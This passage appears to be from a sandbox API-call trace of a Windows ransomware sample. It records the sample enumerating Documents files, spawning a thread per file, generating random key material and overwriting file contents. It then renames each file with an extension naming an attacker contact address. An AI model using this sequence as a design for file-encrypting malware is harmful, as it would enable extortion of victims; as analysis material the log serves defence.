returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp" [0082.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3431bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x52c [0082.971] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x34ad3c0 | out: lpFindFileData=0x34ad3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb81965d0, ftCreationTime.dwHighDateTime=0x1d4d06a, ftLastAccessTime.dwLowDateTime=0x70309390, ftLastAccessTime.dwHighDateTime=0x1d4d2f1, ftLastWriteTime.dwLowDateTime=0x70309390, ftLastWriteTime.dwHighDateTime=0x1d4d2f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="gQmybri0tAA5OGYl.xls", cAlternateFileName="GQMYBR~1.XLS")) returned 1 [0082.971] wcscmp (_String1="gQmybri0tAA5OGYl.xls", _String2=".") returned 1 [0082.971] wcscmp (_String1="gQmybri0tAA5OGYl.xls", _String2="..") returned 1 [0082.971] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xba) returned 0x3487288 [0082.971] wcscpy (in: _Dest=0x3487288, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" [0082.971] wcscat (in: _Dest=0x3487288, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0082.971] wcscat (in: _Dest=0x3487288, _Source="gQmybri0tAA5OGYl.xls" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls" [0082.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3487288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384 [0082.972] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x34ad3c0 | out: lpFindFileData=0x34ad3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe1bba0, ftCreationTime.dwHighDateTime=0x1d4ce99, ftLastAccessTime.dwLowDateTime=0xd1524f70, ftLastAccessTime.dwHighDateTime=0x1d4d458, ftLastWriteTime.dwLowDateTime=0xd1524f70, ftLastWriteTime.dwHighDateTime=0x1d4d458, nFileSizeHigh=0x0, nFileSizeLow=0xcaf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="H22-8HVNgyqJ.xlsx", cAlternateFileName="H22-8H~1.XLS")) returned 1 [0082.972] wcscmp (_String1="H22-8HVNgyqJ.xlsx", _String2=".") returned 1 [0082.972] wcscmp (_String1="H22-8HVNgyqJ.xlsx", _String2="..") returned 1 [0082.972] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x3430c80 [0082.972] wcscpy (in: _Dest=0x3430c80, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" [0082.972] wcscat (in: _Dest=0x3430c80, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0082.972] wcscat (in: _Dest=0x3430c80, _Source="H22-8HVNgyqJ.xlsx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx" [0082.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x300 [0082.973] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x34ad3c0 | out: lpFindFileData=0x34ad3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe343cc0, ftCreationTime.dwHighDateTime=0x1d4d2ef, ftLastAccessTime.dwLowDateTime=0x7eaea980, ftLastAccessTime.dwHighDateTime=0x1d4ce6d, ftLastWriteTime.dwLowDateTime=0x7eaea980, ftLastWriteTime.dwHighDateTime=0x1d4ce6d, nFileSizeHigh=0x0, nFileSizeLow=0x11622, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWDuek.odt", cAlternateFileName="")) returned 1 [0082.973] wcscmp (_String1="HWDuek.odt", _String2=".") returned 1 [0082.973] wcscmp (_String1="HWDuek.odt", _String2="..") returned 1 [0082.973] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f05f0 [0082.973] wcscpy (in: _Dest=0x33f05f0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" [0082.973] wcscat (in: _Dest=0x33f05f0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0082.973] wcscat (in: _Dest=0x33f05f0, _Source="HWDuek.odt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt" [0082.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f05f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c [0082.974] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x34ad3c0 | out: lpFindFileData=0x34ad3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7c7ff40, ftCreationTime.dwHighDateTime=0x1d4c5c1, ftLastAccessTime.dwLowDateTime=0x34afb540, ftLastAccessTime.dwHighDateTime=0x1d4cd82, ftLastWriteTime.dwLowDateTime=0x34afb540, ftLastWriteTime.dwHighDateTime=0x1d4cd82, nFileSizeHigh=0x0, nFileSizeLow=0x189f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PzkemsXFtROGT1vr6P7y.xlsx", cAlternateFileName="PZKEMS~1.XLS")) returned 1 [0082.974] wcscmp (_String1="PzkemsXFtROGT1vr6P7y.xlsx", _String2=".") returned 1 [0082.974] wcscmp (_String1="PzkemsXFtROGT1vr6P7y.xlsx", _String2="..") returned 1 [0082.974] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33f69e8 [0082.974] wcscpy (in: _Dest=0x33f69e8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" [0082.974] wcscat (in: _Dest=0x33f69e8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0082.974] wcscat (in: _Dest=0x33f69e8, _Source="PzkemsXFtROGT1vr6P7y.xlsx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx" [0082.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f69e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680 [0082.975] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x34ad3c0 | out: lpFindFileData=0x34ad3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bf8ca40, ftCreationTime.dwHighDateTime=0x1d4d215, ftLastAccessTime.dwLowDateTime=0xdbd1b420, ftLastAccessTime.dwHighDateTime=0x1d4d27f, ftLastWriteTime.dwLowDateTime=0xdbd1b420, ftLastWriteTime.dwHighDateTime=0x1d4d27f, nFileSizeHigh=0x0, nFileSizeLow=0x15532, dwReserved0=0x0, dwReserved1=0x0, cFileName="VgIqgvrv2ybjHhzDV.rtf", cAlternateFileName="VGIQGV~1.RTF")) returned 1 [0082.975] wcscmp (_String1="VgIqgvrv2ybjHhzDV.rtf", _String2=".") returned 1 [0082.975] wcscmp (_String1="VgIqgvrv2ybjHhzDV.rtf", _String2="..") returned 1 [0082.975] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x34862e8 [0082.975] wcscpy (in: _Dest=0x34862e8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" [0082.975] wcscat (in: _Dest=0x34862e8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0082.975] wcscat (in: _Dest=0x34862e8, _Source="VgIqgvrv2ybjHhzDV.rtf" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf" [0082.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34862e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684 [0082.975] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x34ad3c0 | out: lpFindFileData=0x34ad3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8a8e90, ftCreationTime.dwHighDateTime=0x1d4ce1a, ftLastAccessTime.dwLowDateTime=0x58ce9bf0, ftLastAccessTime.dwHighDateTime=0x1d4c7f4, ftLastWriteTime.dwLowDateTime=0x58ce9bf0, ftLastWriteTime.dwHighDateTime=0x1d4c7f4, nFileSizeHigh=0x0, nFileSizeLow=0x140b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="xi1Sv_Kf8ZoPqwv5l-v.rtf", cAlternateFileName="XI1SV_~1.RTF")) returned 1 [0082.976] wcscmp (_String1="xi1Sv_Kf8ZoPqwv5l-v.rtf", _String2=".") returned 1 [0082.976] wcscmp (_String1="xi1Sv_Kf8ZoPqwv5l-v.rtf", _String2="..") returned 1 [0082.976] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3486798 [0082.976] wcscpy (in: _Dest=0x3486798, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" [0082.976] wcscat (in: _Dest=0x3486798, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0082.976] wcscat (in: _Dest=0x3486798, _Source="xi1Sv_Kf8ZoPqwv5l-v.rtf" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf" [0082.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3486798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x94c [0082.976] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x34ad3c0 | out: lpFindFileData=0x34ad3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8a8e90, ftCreationTime.dwHighDateTime=0x1d4ce1a, ftLastAccessTime.dwLowDateTime=0x58ce9bf0, ftLastAccessTime.dwHighDateTime=0x1d4c7f4, ftLastWriteTime.dwLowDateTime=0x58ce9bf0, ftLastWriteTime.dwHighDateTime=0x1d4c7f4, nFileSizeHigh=0x0, nFileSizeLow=0x140b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="xi1Sv_Kf8ZoPqwv5l-v.rtf", cAlternateFileName="XI1SV_~1.RTF")) returned 0 [0082.976] FindClose (in: hFindFile=0x33e0298 | out: hFindFile=0x33e0298) returned 1 [0082.976] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ad3c0) returned 1 [0082.976] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eaeb0) returned 1 [0082.977] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c030) returned 1 [0082.977] RtlExitUserThread (Status=0x0) Thread: id = 991 os_tid = 0x1680 [0079.940] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\nt4haaobgdxfpb jlb.doc")) returned 0x20 [0079.940] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc", dwFileAttributes=0x20) returned 1 [0079.940] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\nt4haaobgdxfpb jlb.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0079.940] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x23cbfc40 | out: lpFileSize=0x23cbfc40*=85944) returned 1 [0079.941] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x14fb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.941] ReadFile (in: hFile=0x448, lpBuffer=0x23cbfc14, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23cbfc10, lpOverlapped=0x0 | out: lpBuffer=0x23cbfc14*, lpNumberOfBytesRead=0x23cbfc10*=0x4, lpOverlapped=0x0) returned 1 [0079.941] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.941] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0079.941] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492028 [0079.941] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491f60 [0079.941] NtQuerySystemTime (in: CurrentTime=0x23cbfbec | out: CurrentTime=0x23cbfbec*=132121176378292468) returned 0x0 [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x7c32ef53 [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x5d7b7ea9 [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0xe629d001 [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x522d449e [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x987900da [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x33469f2f [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0xff3249ca [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x3ee2d862 [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0xb11bd9f [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x6aa4d494 [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0xfc10cf7b [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x680800a5 [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x778f4bfb [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x824509d7 [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x52b9ed70 [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x92675622 [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0xd17c681e [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0xc3c04722 [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0xb8afc120 [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x3ca43a9c [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0xc1f1bea4 [0079.941] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x12a78239 [0079.942] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x27ec8526 [0079.942] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x68110aa6 [0079.942] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x2d8162fc [0079.942] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0xb87ddd93 [0079.942] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x27e263d1 [0079.942] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x10955096 [0079.942] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x2bd2e2b4 [0079.942] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0xb125f4c3 [0079.942] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x76bb073 [0079.942] RtlRandom (in: Seed=0x23cbfbf8 | out: Seed=0x23cbfbf8) returned 0x85874ba4 [0079.953] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0079.953] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0079.953] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.953] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.953] ReadFile (in: hFile=0x448, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x23cbfbc4, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x23cbfbc4*=0x4096, lpOverlapped=0x0) returned 1 [0079.953] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.953] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0079.953] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.953] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491df8 [0079.953] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491df8) returned 1 [0079.953] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.954] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0079.954] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e98 [0079.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e98) returned 1 [0079.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0079.954] WriteFile (in: hFile=0x448, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x23cbfbc4, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x23cbfbc4*=0x4096, lpOverlapped=0x0) returned 1 [0079.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.954] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x14fb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.954] WriteFile (in: hFile=0x448, lpBuffer=0x3492000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23cbfbfc, lpOverlapped=0x0 | out: lpBuffer=0x3492000*, lpNumberOfBytesWritten=0x23cbfbfc*=0x20, lpOverlapped=0x0) returned 1 [0079.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0079.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.954] WriteFile (in: hFile=0x448, lpBuffer=0x3491d30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x23cbfc10, lpOverlapped=0x0 | out: lpBuffer=0x3491d30*, lpNumberOfBytesWritten=0x23cbfc10*=0x8, lpOverlapped=0x0) returned 1 [0079.954] WriteFile (in: hFile=0x448, lpBuffer=0x23cbfc28*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23cbfc10, lpOverlapped=0x0 | out: lpBuffer=0x23cbfc28*, lpNumberOfBytesWritten=0x23cbfc10*=0x4, lpOverlapped=0x0) returned 1 [0079.954] WriteFile (in: hFile=0x448, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23cbfc10, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x23cbfc10*=0x4, lpOverlapped=0x0) returned 1 [0079.955] WriteFile (in: hFile=0x448, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x23cbfc10, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x23cbfc10*=0x6c, lpOverlapped=0x0) returned 1 [0079.955] WriteFile (in: hFile=0x448, lpBuffer=0x3492028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23cbfc10, lpOverlapped=0x0 | out: lpBuffer=0x3492028*, lpNumberOfBytesWritten=0x23cbfc10*=0x20, lpOverlapped=0x0) returned 1 [0079.955] WriteFile (in: hFile=0x448, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23cbfc10, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x23cbfc10*=0x4, lpOverlapped=0x0) returned 1 [0079.955] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492028) returned 1 [0079.955] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e70) returned 1 [0079.955] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491d30) returned 1 [0079.955] CloseHandle (hObject=0x448) returned 1 [0079.955] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xde) returned 0x3433690 [0079.955] wcscpy (in: _Dest=0x3433690, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc" [0079.955] wcscat (in: _Dest=0x3433690, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731" [0079.955] MoveFileW 